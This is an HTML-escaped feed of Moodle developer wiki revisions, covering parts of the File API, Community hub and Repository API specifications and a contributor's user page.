! Info&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;id&#039;&#039;&#039; &lt;br /&gt;
| int(10)  &lt;br /&gt;
| auto-incrementing &lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;fileid&#039;&#039;&#039; &lt;br /&gt;
| int(10)&lt;br /&gt;
|  &lt;br /&gt;
| Foreign key, references files.id&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;repositoryid&#039;&#039;&#039;&lt;br /&gt;
| int(10)&lt;br /&gt;
| &lt;br /&gt;
| The repository instance this is associated with, see [[Repository_API]]&lt;br /&gt;
|-&lt;br /&gt;
| updates&lt;br /&gt;
| int(10)&lt;br /&gt;
| &lt;br /&gt;
| Specifies the update schedule (0 = none, 1 = on demand, other = some period in seconds)&lt;br /&gt;
|-&lt;br /&gt;
| repositorypath&lt;br /&gt;
| text&lt;br /&gt;
| &lt;br /&gt;
| The full path to the original file on the repository&lt;br /&gt;
|-&lt;br /&gt;
| timeimportfirst&lt;br /&gt;
| int(10)&lt;br /&gt;
| &lt;br /&gt;
| The first time this file was imported into Moodle&lt;br /&gt;
|-&lt;br /&gt;
| timeimportlast&lt;br /&gt;
| int(10)&lt;br /&gt;
| &lt;br /&gt;
| The most recent time that this file was imported into Moodle&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Note: this is not implemented yet. It may end up being implemented within the Repository API istead. That is, this table may end up being called repository_sync.&lt;br /&gt;
&lt;br /&gt;
==== Table: files_cleanup ====&lt;br /&gt;
&lt;br /&gt;
This table contains candidates for deletion from the file pool. Files are not deleted immediately because there may be multiple references to the same file. Therefore, it is better for performance to simply add a row to this table, and later, on cron, clean the files off disc if they are really no longer used. Also, batch deletion on cron makes it easier to avoid concurrency issues when one user deletes what was the last reference to the file as another user adds a new reference. (The cron cleanup code should be doing appropriate locking.)&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;nicetable&amp;quot;&lt;br /&gt;
! Field&lt;br /&gt;
! Type&lt;br /&gt;
! Default&lt;br /&gt;
! Info&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;id&#039;&#039;&#039; &lt;br /&gt;
| int(10)  &lt;br /&gt;
| auto-incrementing &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| contenthash&lt;br /&gt;
| varchar(40)&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Implementation of basic operations===&lt;br /&gt;
&lt;br /&gt;
This is just an overview. See the external API description below for how to do this from client code.&lt;br /&gt;
&lt;br /&gt;
====Storing a file====&lt;br /&gt;
&lt;br /&gt;
# Calculate the SHA1 hash of the file contents.&lt;br /&gt;
# Check if a file with this SHA1 hash already exists on disc. If not, store the file there.&lt;br /&gt;
# Remove this SHA1 hash from list of deleted files, if present.&lt;br /&gt;
# Add the record for this file to the files table.&lt;br /&gt;
&lt;br /&gt;
====Reading a file====&lt;br /&gt;
&lt;br /&gt;
# Fetch the record (which includes the SHA1 hash) for the file you want from the files table.&lt;br /&gt;
# Retrieve the contents using the SHA1 hash.&lt;br /&gt;
&lt;br /&gt;
====Deleting a file====&lt;br /&gt;
&lt;br /&gt;
# Store the SHA1 hash of the file being deleted in the files_cleanup table.&lt;br /&gt;
# Delete the record from the files table.&lt;br /&gt;
# Later, admin/cron.php will actually delete the file from disc if it is no longer used (with proper table locking to prevent race conditions when adding/deleting files simultaneously).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== File management API ==&lt;br /&gt;
&lt;br /&gt;
This is what other parts of Moodle use to access and manage files. The code is in lib/file/.&lt;br /&gt;
&lt;br /&gt;
These section documents both the public facing parts of this code, and also the inner workings. Hopefully it makes it sufficiently clear which is which. For more information, see the API documentation in the code, and [[Using_the_file_API]].&lt;br /&gt;
&lt;br /&gt;
TODO write the rest of this section.&lt;br /&gt;
&lt;br /&gt;
=== lib/filelib.php ===&lt;br /&gt;
&lt;br /&gt;
Including this file includes all of the other library files.&lt;br /&gt;
&lt;br /&gt;
=== Class: file_browser ===&lt;br /&gt;
&lt;br /&gt;
=== Class: file_info and subclasses ===&lt;br /&gt;
&lt;br /&gt;
=== Class: file_storage ===&lt;br /&gt;
&lt;br /&gt;
=== Class: stored_file ===&lt;br /&gt;
&lt;br /&gt;
=== File exceptions===&lt;br /&gt;
&lt;br /&gt;
== File management user-interface ==&lt;br /&gt;
&lt;br /&gt;
=== File manager ===&lt;br /&gt;
&lt;br /&gt;
All the contexts, file areas and files now form a single huge tree structure, although each user only has access to certain parts of that tree. The file manager (files/index.php) allow users to brows this tree, and manage files within it, according to the level of permissions they have.&lt;br /&gt;
&lt;br /&gt;
Single pane file manager is hard to implement without drag &amp;amp; drop which is notoriously problematic in web based applications. I propose to implement a two pane commander-style file manager. Two pane manager allows you to easily copy/move files between two different contexts (ex: courses).&lt;br /&gt;
&lt;br /&gt;
File manager must not interact directly with filesystem API, instead each module should return traversable tree of files and directories with both real and localised names (localised names are needed for dirs like backupdata).&lt;br /&gt;
&lt;br /&gt;
This code will be in file/.&lt;br /&gt;
&lt;br /&gt;
=== Formslib field types ===&lt;br /&gt;
&lt;br /&gt;
This code will be in lib/form/&lt;br /&gt;
&lt;br /&gt;
* Upload single files.&lt;br /&gt;
* Upload multiple files to a files area.&lt;br /&gt;
* HTML editor (see next)&lt;br /&gt;
&lt;br /&gt;
=== Integration with the HTML editor ===&lt;br /&gt;
&lt;br /&gt;
Each instance of the HTML editor will be told to store related files in a particular file area.&lt;br /&gt;
&lt;br /&gt;
During editing, files will be stored in a draft files area. Then when the form is submitted they will be (automatically) moved into the real file area.&lt;br /&gt;
&lt;br /&gt;
Files will be selected using the repository file picker.&lt;br /&gt;
&lt;br /&gt;
=== Local files repository plugin ===&lt;br /&gt;
&lt;br /&gt;
Allows users to see an browse files they already have access to within this Moodle, for inclusion in the page currently being edited.&lt;br /&gt;
&lt;br /&gt;
This code will be in repository/local/&lt;br /&gt;
&lt;br /&gt;
== Backwards compatibility ==&lt;br /&gt;
&lt;br /&gt;
=== Content backwards compatibility ===&lt;br /&gt;
&lt;br /&gt;
This should be preserved as much as possible. This will involve rewriting links in content during the upgrade to 2.0. &lt;br /&gt;
&lt;br /&gt;
Some new features (like resource sharing - if implemented) may not work with existing data that still uses files from course files area.&lt;br /&gt;
&lt;br /&gt;
There might be a breakage of links due to special characters stripping in uploaded files which will not match the links in uploaded html files any more. This should not be very common I hope.&lt;br /&gt;
&lt;br /&gt;
===Code backwards compatibility===&lt;br /&gt;
&lt;br /&gt;
Other Moodle code (for example plugins) will have to be converted to the new APIs. See [[Using_the_file_API]] for guidance.&lt;br /&gt;
&lt;br /&gt;
It is not possible to provide backwards-compatibility here. For example, the old $CFG-&amp;gt;dataroot/$courseid/ will no longer exist, and there is no way to emulate that, so we won&#039;t try.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Upgrade and migration ==&lt;br /&gt;
&lt;br /&gt;
When a site is upgraded to Moodle 2.0, all the files in moodledata will have to be migrated. This is going to be a pain, like DML/DDL was :-(&lt;br /&gt;
&lt;br /&gt;
The upgrade process should be interruptible (like the Unicode upgrade was) so it can be stopped/restarted any time.&lt;br /&gt;
&lt;br /&gt;
=== Migration of content ===&lt;br /&gt;
&lt;br /&gt;
* resources - move files to new resource content file area; can be done automatically for pdf, image resources; definitely not accurate for uploaded web pages&lt;br /&gt;
* questions - image file moved to new area, image tag appended to questions&lt;br /&gt;
* moddata files - the easiest part, just move to new storage&lt;br /&gt;
* coursefiles - there might be many outdated files :-( :-(&lt;br /&gt;
* rss feeds links in readers - will be broken, the new security related code would break it anyway&lt;br /&gt;
&lt;br /&gt;
=== Moving files to files table and file pool ===&lt;br /&gt;
&lt;br /&gt;
The migration process must be interruptable because it might take a very long time. The files would be moved from old location, the restarting would be straightforward.&lt;br /&gt;
&lt;br /&gt;
Proposed stages:&lt;br /&gt;
#migration of all course files except moddata - finish marked by some $CFG-&amp;gt;files_migrated=true; - this step breaks the old file manager and html editor integration&lt;br /&gt;
#migration of blog attachments&lt;br /&gt;
#migration of question files&lt;br /&gt;
#migration of moddata files - each module is responsible to copy data from converted coursefiles or directly from moddata which is not converted automatically&lt;br /&gt;
&lt;br /&gt;
Some people use symbolic links in coursefiles - we must make sure that those will be copied to new storage in both places, though they can not be linked any more - anybody wanting to have content synced will need to move the files to some repository and set up the sync again.&lt;br /&gt;
&lt;br /&gt;
::Talked about a double task here, when migrating course files to module areas:&lt;br /&gt;
::# Parse html files to detect all the dependencies and move them together.&lt;br /&gt;
::# Fallback in pluginfile.php so, if something isn&#039;t found in module filearea, search for it in course filearea, copying it and finally, serving it.&lt;br /&gt;
&lt;br /&gt;
:: Also we talked about the possibility of add a new setting to resource in order to define if it should work against old coursefiles or new autocontained file areas. Migrated resources will point to old coursefiles while new ones will enforce autocontained file areas.&lt;br /&gt;
&lt;br /&gt;
:: it seems that only resource files will be really complex (because allow arbitrary HTML inclusion). The rest (labels, intros... doesn&#039;t) and should be easier to parse.&lt;br /&gt;
&lt;br /&gt;
::[[User:Eloy Lafuente (stronk7)|Eloy Lafuente (stronk7)]] 19:00, 29 June 2008 (CDT)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Parts of Moodle that need to be modified ==&lt;br /&gt;
&lt;br /&gt;
Of course, all parts of Moodle that use files need to be changed. See MDL-14589 for a more detailed list.&lt;br /&gt;
&lt;br /&gt;
=== Any form where the user can upload files ===&lt;br /&gt;
&lt;br /&gt;
=== Any from containing a HTML editor ===&lt;br /&gt;
&lt;br /&gt;
Since users can embed images etc. there.&lt;br /&gt;
&lt;br /&gt;
=== Backup/restore ===&lt;br /&gt;
&lt;br /&gt;
File handling in backups needs to be fully rewritten - list of files in xml + pool of sha1 named files with contents. This solves the utf-8 trouble here, yay!!&lt;br /&gt;
&lt;br /&gt;
=== Antivirus scanning ===&lt;br /&gt;
&lt;br /&gt;
== Issues that need to be resolved ==&lt;br /&gt;
&lt;br /&gt;
=== Unicode support in zip format ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This has now been solved by using the built in zip in PHP 5.2.8.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Zip format is an old standard for compressing files. It was created long before Unicode existed, and Unicode support was only recently added. There are several ways used for encoding of non-ASCII characters in path names, but unfortunately it is not very standardised. Most Windows packers use DOS encoding.&lt;br /&gt;
&lt;br /&gt;
Client software:&lt;br /&gt;
* Windows built-in compression - bundled with Windows, non-standard DOS encoding only&lt;br /&gt;
* WinZip - shareware, Unicode option (since v11.2)&lt;br /&gt;
* TotalCommander - shareware, single byte(DOS) encoding only&lt;br /&gt;
* 7-Zip - free, Unicode or DOS encoding depending on characters used in file name (since v4.58beta)&lt;br /&gt;
* Info-ZIP - free, uses some weird character set conversions&lt;br /&gt;
&lt;br /&gt;
PHP extraction:&lt;br /&gt;
* Info-ZIP binary execution - no Unicode support at all, mangles character sets in file names (depends on OS, see docs), files must be copied to temp directory before compression and after extraction&lt;br /&gt;
* PclZip PHP library - reads single byte encoded names only, problems with random problems and higher memory usage.&lt;br /&gt;
* Zip PHP extension - reads single byte encoded names only, 64bit operating system can not open/create archives with more than 500 files (depends on sum of lengths of all filenames and directories, to be fixed in PHP 5.3 and external PECL library, no PHP 5.2.x backport planned!), adding of files is limited by number of free file handles (around 1000 - depends on OS and other PHP code, workaround is to close and reopen archive)&lt;br /&gt;
&lt;br /&gt;
Large file support:&lt;br /&gt;
PHP running under 32bit operating systems does not support files &amp;gt;2GB (do not expect fix before PHP 6). This might be a potential problem for larger backups.&lt;br /&gt;
&lt;br /&gt;
Tar Alternative:&lt;br /&gt;
* tar with gzip compression - easy to implement in PHP + zlib extension (PclTar, Tar from PEAR or custom code)&lt;br /&gt;
* no problem with unicode in *nix, Windows again expects DOS encoding :-(&lt;br /&gt;
* seems suitable for backup/restore - yay!&lt;br /&gt;
&lt;br /&gt;
Roadmap:&lt;br /&gt;
# add zip processing class that fully hides the underlying library&lt;br /&gt;
# use single byte encoding &amp;quot;garbage in/garbage out&amp;quot; approach for encoding of files in zip archives; add new &#039;zipencoding&#039; string into lang packs (ex: cp852 DOS charset for Czech locale) and use it during extraction, we might support true unicode later when PHP Zip extension does that&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Possible future ideas ==&lt;br /&gt;
&lt;br /&gt;
=== Files maintenance report ===&lt;br /&gt;
&lt;br /&gt;
This would do deep validation of the files on disc. It would:&lt;br /&gt;
* Report when there is a row in the files table, but the corresponding file is missing from the file system.&lt;br /&gt;
* Report files that still exist on disc, even though no references remain.&lt;br /&gt;
* Report orphaned files.&lt;br /&gt;
* Report total disc space usage by context (as much as is possible with content-addressible file storage).&lt;br /&gt;
* Verify that the SHA1 hash of the contents of each file matches the file name.&lt;br /&gt;
&lt;br /&gt;
In addition, it might offer options to fix these problems, where possible.&lt;br /&gt;
&lt;br /&gt;
=== Support quotas per user, course, etc. ===&lt;br /&gt;
&lt;br /&gt;
People want this.&lt;br /&gt;
&lt;br /&gt;
If we have implemented the above report, it would then just be a matter of adding the interface hooks to stop people uploading more files once the quota has been reached.&lt;br /&gt;
&lt;br /&gt;
(We could also divide the file size by number of instances that are using it, this might be considered more accurate in some scenarios.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== See also ==&lt;br /&gt;
&lt;br /&gt;
* [[Using the file API]]&lt;br /&gt;
* [[Repository API]]&lt;br /&gt;
* [[Portfolio API]]&lt;br /&gt;
* MDL-14589 - File API Meta issue&lt;br /&gt;
&lt;br /&gt;
{{CategoryDeveloper}}&lt;br /&gt;
[[Category:Files]]&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:ファイルAPI]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=User:Mitsuhiro_Yoshida&amp;diff=19913</id>
		<title>User:Mitsuhiro Yoshida</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=User:Mitsuhiro_Yoshida&amp;diff=19913"/>
		<updated>2009-02-09T13:04:11Z</updated>

		<summary type="html">&lt;p&gt;Mits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;*The official translator for Moodle in Japanese since November 21, 2002.&amp;lt;br /&amp;gt;&lt;br /&gt;
*Moodle Partner&amp;lt;br /&amp;gt;&lt;br /&gt;
*Moodle theme Oceanblue developer&lt;br /&gt;
&lt;br /&gt;
:http://mitstek.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
I like &amp;quot;Haiku&amp;quot; and my recent Haiku is ...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Japanese: Cafe no door wa hiraki haru wo miokuri&amp;lt;br /&amp;gt;&lt;br /&gt;
English: Cafe door open see off Springtime&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Japanese: Shunshou ya tokotoko tokotoko beagle ken&amp;lt;br /&amp;gt;&lt;br /&gt;
English: Spring vesper toddle along beagle dog&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The theme of my life is &amp;quot;Being Open&amp;quot;.&amp;lt;br /&amp;gt;&lt;br /&gt;
And my personal motto is &amp;quot;Is there any learning going on there?&amp;quot;.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mits&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Community_hub&amp;diff=2257</id>
		<title>Community hub</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Community_hub&amp;diff=2257"/>
		<updated>2009-01-05T20:16:08Z</updated>

		<summary type="html">&lt;p&gt;Mits: /* See also */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Moodle Community hub is a future project which will allow more interaction between teachers building courses and teachers using them, courses and user data can then be stored in a repository as shown below:&lt;br /&gt;
&lt;br /&gt;
[[Image:Community.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In short we want to allow Moodlers to find and connect to other sites easily, to join communities of practice.  We&#039;ll do this via a central directory open to all.&lt;br /&gt;
&lt;br /&gt;
==A. Moodle.org directory==&lt;br /&gt;
&lt;br /&gt;
A new directory system (directory.moodle.org?) will allow you to browse/search the available courses/hubs around the world, via two methods:&lt;br /&gt;
# A web interface, with clickable links to the sites so that users can log in manually.&lt;br /&gt;
# A REST-based web services interface, designed to be used by other systems (eg Moodle sites) directly&lt;br /&gt;
&lt;br /&gt;
Both interfaces will provide the same data.&lt;br /&gt;
&lt;br /&gt;
==B. New registration form in Moodle ==&lt;br /&gt;
&lt;br /&gt;
The existing registration form can be extended so that admins can choose to send in more info about their sites to the directory, including:&lt;br /&gt;
# Lists of courses, each one with:&lt;br /&gt;
## Name &lt;br /&gt;
## Description &lt;br /&gt;
## Tags / keywords (perhaps from a standard set)&lt;br /&gt;
## Country/region &lt;br /&gt;
## Availability (public/private)&lt;br /&gt;
## Cost (and currency)&lt;br /&gt;
## Audience:  educators / students / admins  (use legacy name of role?)&lt;br /&gt;
## Educational level being discussed (for educators audience only)&lt;br /&gt;
## Language&lt;br /&gt;
## What else?&lt;br /&gt;
# Mnet registration details, enough to let someone else log in to this site &lt;br /&gt;
# Overall information about the whole site, such as a custom description etc&lt;br /&gt;
&lt;br /&gt;
If any of these are set, then that Moodle will automatically inform moodle.org later when this information is updated, and possibly send a heartbeat ping every week or so (so that we can delete Moodle sites that miss two weeks).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==C. Community link from every Moodle==&lt;br /&gt;
&lt;br /&gt;
Every course will have a &amp;quot;Community&amp;quot; button (for teachers mostly) that links to a script in Moodle that uses the web services interface to search/browse available courses.  The idea behind doing it this way is so that the script can do whatever that current version of Moodle can handle, rather than having the server generate pages that might not work.&lt;br /&gt;
&lt;br /&gt;
Requires:&lt;br /&gt;
# Add a new button to courses, with a new capability to view it (default on for teachers, not students)&lt;br /&gt;
# Add a new Moodle script to browse/search hubs (using web services to call Moodle.org), and join sites if Mnet is all available, otherwise just link to courses for manual authentication/enrolment&lt;br /&gt;
# Public Mnet sites in &amp;quot;Hub mode&amp;quot; should allow immediate single-sign-on (even if admins aren&#039;t involved?)&lt;br /&gt;
&lt;br /&gt;
==D. Hub as repository==&lt;br /&gt;
&lt;br /&gt;
Courses and other places in Moodle have a &amp;quot;Search for template...&amp;quot; button, which pulls up the normal file picker to look for template files.   The Mnet-based community hubs that have been configured appear as just another repository, and show a kind of iTunes-like interface to browse/search for content and select one for download.&lt;br /&gt;
&lt;br /&gt;
# Special new file types for Moodle files eg .mbkup.zip .mforumbkup.zip &lt;br /&gt;
# Special repository plugin in the client Moodle that displays a nice interface in an iframe, based on data retrieved via mnet services from the hub.&lt;br /&gt;
# Special module (activity module?) in the server Moodle that manages uploaded files with ratings, comments, tagging, workflow etc.&lt;br /&gt;
# Course page to unpack returned file and &amp;quot;restore&amp;quot; it to the current course.&lt;br /&gt;
&lt;br /&gt;
==E. Hub as portfolio==&lt;br /&gt;
&lt;br /&gt;
Courses and other places have a &amp;quot;Save..&amp;quot; button which calls standard portfolio interface.  Any configured mnet hosts will appear as a plugin there as well, so it will be possible to push the course as a zip to the external system (the special activity module in a course of your choosing)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== See also ==&lt;br /&gt;
&lt;br /&gt;
* [[Community hub technotes]] - relating to MNet developments in Moodle 1.8&lt;br /&gt;
&lt;br /&gt;
[[Category:MNET]]&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:コミュニティハブ]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Community_hub&amp;diff=2256</id>
		<title>Community hub</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Community_hub&amp;diff=2256"/>
		<updated>2009-01-05T20:14:31Z</updated>

		<summary type="html">&lt;p&gt;Mits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Moodle Community hub is a future project which will allow more interaction between teachers building courses and teachers using them, courses and user data can then be stored in a repository as shown below:&lt;br /&gt;
&lt;br /&gt;
[[Image:Community.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In short we want to allow Moodlers to find and connect to other sites easily, to join communities of practice.  We&#039;ll do this via a central directory open to all.&lt;br /&gt;
&lt;br /&gt;
==A. Moodle.org directory==&lt;br /&gt;
&lt;br /&gt;
A new directory system (directory.moodle.org?) will allow you to browse/search the available courses/hubs around the world, via two methods:&lt;br /&gt;
# A web interface, with clickable links to the sites so that users can log in manually.&lt;br /&gt;
# A REST-based web services interface, designed to be used by other systems (eg Moodle sites) directly&lt;br /&gt;
&lt;br /&gt;
Both interfaces will provide the same data.&lt;br /&gt;
&lt;br /&gt;
==B. New registration form in Moodle ==&lt;br /&gt;
&lt;br /&gt;
The existing registration form can be extended so that admins can choose to send in more info about their sites to the directory, including:&lt;br /&gt;
# Lists of courses, each one with:&lt;br /&gt;
## Name &lt;br /&gt;
## Description &lt;br /&gt;
## Tags / keywords (perhaps from a standard set)&lt;br /&gt;
## Country/region &lt;br /&gt;
## Availability (public/private)&lt;br /&gt;
## Cost (and currency)&lt;br /&gt;
## Audience:  educators / students / admins  (use legacy name of role?)&lt;br /&gt;
## Educational level being discussed (for educators audience only)&lt;br /&gt;
## Language&lt;br /&gt;
## What else?&lt;br /&gt;
# Mnet registration details, enough to let someone else log in to this site &lt;br /&gt;
# Overall information about the whole site, such as a custom description etc&lt;br /&gt;
&lt;br /&gt;
If any of these are set, then that Moodle will automatically inform moodle.org later when this information is updated, and possibly send a heartbeat ping every week or so (so that we can delete Moodle sites that miss two weeks).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==C. Community link from every Moodle==&lt;br /&gt;
&lt;br /&gt;
Every course will have a &amp;quot;Community&amp;quot; button (for teachers mostly) that links to a script in Moodle that uses the web services interface to search/browse available courses.  The idea behind doing it this way is so that the script can do whatever that current version of Moodle can handle, rather than having the server generate pages that might not work.&lt;br /&gt;
&lt;br /&gt;
Requires:&lt;br /&gt;
# Add a new button to courses, with a new capability to view it (default on for teachers, not students)&lt;br /&gt;
# Add a new Moodle script to browse/search hubs (using web services to call Moodle.org), and join sites if Mnet is all available, otherwise just link to courses for manual authentication/enrolment&lt;br /&gt;
# Public Mnet sites in &amp;quot;Hub mode&amp;quot; should allow immediate single-sign-on (even if admins aren&#039;t involved?)&lt;br /&gt;
&lt;br /&gt;
==D. Hub as repository==&lt;br /&gt;
&lt;br /&gt;
Courses and other places in Moodle have a &amp;quot;Search for template...&amp;quot; button, which pulls up the normal file picker to look for template files.   The Mnet-based community hubs that have been configured appear as just another repository, and show a kind of iTunes-like interface to browse/search for content and select one for download.&lt;br /&gt;
&lt;br /&gt;
# Special new file types for Moodle files eg .mbkup.zip .mforumbkup.zip &lt;br /&gt;
# Special repository plugin in the client Moodle that displays a nice interface in an iframe, based on data retrieved via mnet services from the hub.&lt;br /&gt;
# Special module (activity module?) in the server Moodle that manages uploaded files with ratings, comments, tagging, workflow etc.&lt;br /&gt;
# Course page to unpack returned file and &amp;quot;restore&amp;quot; it to the current course.&lt;br /&gt;
&lt;br /&gt;
==E. Hub as portfolio==&lt;br /&gt;
&lt;br /&gt;
Courses and other places have a &amp;quot;Save..&amp;quot; button which calls standard portfolio interface.  Any configured mnet hosts will appear as a plugin there as well, so it will be possible to push the course as a zip to the external system (the special activity module in a course of your choosing)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== See also ==&lt;br /&gt;
&lt;br /&gt;
* [[Community hub technotes]] - relating to MNet developments in Moodle 1.8&lt;br /&gt;
&lt;br /&gt;
[[Category:MNET]]&lt;br /&gt;
&lt;br /&gt;
[[開発:コミュニティハブ]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Repository_API&amp;diff=6070</id>
		<title>Repository API</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Repository_API&amp;diff=6070"/>
		<updated>2008-12-31T22:11:45Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Moodle_2.0}}This page describes the specification for a future feature, currently being worked on for Moodle 2.0.  This spec is STILL UNDER CONSTRUCTION.&lt;br /&gt;
&lt;br /&gt;
See MDL-13766 to track the status of the implementation.&lt;br /&gt;
&lt;br /&gt;
The page is open for everyone so everyone can help correct mistakes and help with the evolution of this document.  However, if you have questions to ask, problems to report or major changes to suggest, please add them to the [[Development_talk:Repository_API|page comments]], or start a discussion in the [http://moodle.org/mod/forum/view.php?id=1807 Repositories forum].  We&#039;ll endeavour to merge all such suggestions into the main spec before we start development.&lt;br /&gt;
&lt;br /&gt;
Note that parts of this document have been now split off into a separate [[File_API]]&lt;br /&gt;
&lt;br /&gt;
==Objectives==&lt;br /&gt;
&lt;br /&gt;
# Allow all Moodle users to easily bring content into Moodle from external repositories&lt;br /&gt;
# Provide a consistent interface to any external repository, for any Moodle module&lt;br /&gt;
&lt;br /&gt;
==Use cases==&lt;br /&gt;
&lt;br /&gt;
===Teacher adding an external file as a new resource===&lt;br /&gt;
&lt;br /&gt;
# Teacher wants to add a new resource to a course &lt;br /&gt;
# Teacher clicks the &amp;quot;Choose a resource&amp;quot; button&lt;br /&gt;
# Teacher is presented with a simple file picker to choose a file (with a menu to switch between multiple configured repositories)&lt;br /&gt;
# Teacher chooses a file in an external repository&lt;br /&gt;
# File is COPIED into Moodle and stored by the resource module&lt;br /&gt;
# File is marked as owned by that user&lt;br /&gt;
# Whenever someone wants to view that file, the resource module controls access  (see [[File API]] )&lt;br /&gt;
&lt;br /&gt;
===Teacher linking to an external file as a new resource (think video repository) ===&lt;br /&gt;
&lt;br /&gt;
# Teacher wants to display a file in the repository &lt;br /&gt;
# Teacher clicks the &amp;quot;Choose a resource&amp;quot; button&lt;br /&gt;
# Teacher is presented with a simple file picker to choose a file (with a menu to switch between multiple configured repositories)&lt;br /&gt;
# Teacher chooses a file in an external repository&lt;br /&gt;
# Link to the file is COPIED into Moodle and stored by the resource module&lt;br /&gt;
# Link is marked as owned by that user&lt;br /&gt;
# Whenever someone wants to follow that link, the resource module controls access  (see [[File API]] )&lt;br /&gt;
&lt;br /&gt;
===Student submitting an assignment===&lt;br /&gt;
# Student needs to submit an assignment and presses the &amp;quot;Choose files&amp;quot; button&lt;br /&gt;
# Student sees a &amp;quot;file picker&amp;quot; where they can see files listed on any of several configured repositories ([https://docs.moodle.org/en/Image:Filepicker_login.jpg file picker login], [https://docs.moodle.org/en/Image:Filepicker_browser.jpg file picker browser], [https://docs.moodle.org/en/Image:Filepicker_search.jpg file picker search])&lt;br /&gt;
# Student chooses MySpace from the list&lt;br /&gt;
# Student is prompted to enter MySpace username/password (if admin allows it, a checkbox could be there to &amp;quot;remember this for next time&amp;quot; but remember security)&lt;br /&gt;
# Student sees their files in MySpace and chooses one or more&lt;br /&gt;
# Files are copied from MySpace to Moodle &lt;br /&gt;
# Assignment module controls the permissions so that only the Student and assignment graders can see the file (other students would not have permission).&lt;br /&gt;
&lt;br /&gt;
===Student attaching an image to a forum===&lt;br /&gt;
# Student needs to attach an image and presses the &amp;quot;Choose files&amp;quot; button in the posting screen&lt;br /&gt;
# Student sees a &amp;quot;file picker&amp;quot; where they can see files listed on any of several configured repositories&lt;br /&gt;
# Student chooses Mahara from the list&lt;br /&gt;
# Student is prompted to enter Mahara username/password&lt;br /&gt;
# Student sees their files in Mahara and chooses one image&lt;br /&gt;
# Image is copied to Moodle &lt;br /&gt;
# Image file is attached to forum post by Forum module (by reference)&lt;br /&gt;
# Forum module controls permissions so that anyone who can read that forum can see that file&lt;br /&gt;
&lt;br /&gt;
===Student attaching the same image in another forum===&lt;br /&gt;
&lt;br /&gt;
# Student needs to submit an assignment and presses the &amp;quot;Choose files&amp;quot; button&lt;br /&gt;
# Student sees a &amp;quot;file picker&amp;quot; where they can see files listed on any of several configured repositories&lt;br /&gt;
# Student chooses &amp;quot;Local files&amp;quot; from the list and sees all the files they&#039;ve uploaded before&lt;br /&gt;
# A COPY of the image file is attached to forum post by Forum module&lt;br /&gt;
# Forum module controls access to this file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Please add more use cases in this same format&lt;br /&gt;
&lt;br /&gt;
==Mock screenshots==&lt;br /&gt;
When you first call up the file picker and choose a repository, you might be asked to log in (if saving of passwords is not allowed):&lt;br /&gt;
&lt;br /&gt;
[[Image:Filepicker_login.jpg]]&lt;br /&gt;
&lt;br /&gt;
Browsing files could look something like this:&lt;br /&gt;
&lt;br /&gt;
[[Image:Filepicker_browser.jpg]]&lt;br /&gt;
&lt;br /&gt;
And you can also search:&lt;br /&gt;
&lt;br /&gt;
[[Image:Filepicker_search.jpg]]&lt;br /&gt;
&lt;br /&gt;
==General architecture==&lt;br /&gt;
&lt;br /&gt;
Each repository plugin (a standard Moodle plugin stored under /repository/xxx) will subclass the standard API and override methods specific to that repository.&lt;br /&gt;
&lt;br /&gt;
As is usual in Moodle, there will be admin settings to disable/enable certain repository plugins as standard, as well as user settings so that users can add their own personal repositories to the standard list (eg [http://briefcase.yahoo.com Yahoo Briefcase] or [http://docs.google.com Google Docs]) and to select their default repository.&lt;br /&gt;
&lt;br /&gt;
